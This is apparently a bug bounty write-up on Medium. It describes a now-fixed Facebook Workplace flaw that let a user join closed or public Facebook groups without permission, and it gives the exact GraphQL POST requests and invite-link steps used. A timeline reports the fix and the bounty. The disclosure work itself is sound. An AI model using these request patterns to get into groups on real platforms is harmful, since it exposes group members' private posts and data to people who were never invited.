Become member of close & public group

Description
===
this bug allow attacker to add him self as member to closed &public group using workplace platform

===
1 — go to workplace platform : https://work.facebook.com/work/admin/user_sets/

2 — create people set :

POST /api/graphql/ HTTP/1.1
Host: work.facebook.com

variables={“input”:{“client_mutation_id”:”11",”actor_id”:”actorid”,”name”:”myset-test”,”external_id”:””}}&doc_id=1801011926626947

3- add your work id to the set created:

POST /api/graphql/ HTTP/1.1
Host: work.facebook.com

variables={“input”:{“client_mutation_id”:”12",”actor_id”:”actorid”,”member_id”:”[work_profile_id]”,”scim_company_group_id”:”[set_id_created]”}}&doc_id=1690433404336349

4- add your work profile to normal group (group not in www.facebook.com) :

POST /api/graphql/ HTTP/1.1
Host: work.facebook.com

variables={“input”:{“client_mutation_id”:”14",”actor_id”:”actorid”,”rule_id”:”[set_id_created]”,”groups_ids”:[“normal_group”]}}&doc_id=1798717653514339

* normal_group * :is normal closed or public group in www.facebook.com (not in workplace)

— — — — — — — — — — — — — — -
at this point work user can get notifications about new post and other notifications

but when visit : https://work-id.facebook.com/groups/[normal_group] they redirect to

https://www.facebook.com/groups/[normal_group] to personal profile (not member in group)

- the solution : try to add personnel user to group from work platform

visit this link:

https://work-id.m.facebook.com/groups/members/search/?group_id=%5Bnormal_group%5D

you see Invite via link:

https://fb.me/g/AAAAAAAAAA

visit link and you can join group as personnel user ( see all members ,create post …)

Timeline

August 22, 2019 — Report Sent
September 4, 2019 — Acknowledged by Facebook
September 10, 2019 — Fixed by Facebook
October 16, 2019 — Bounty awarded by Facebook ($7500)

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store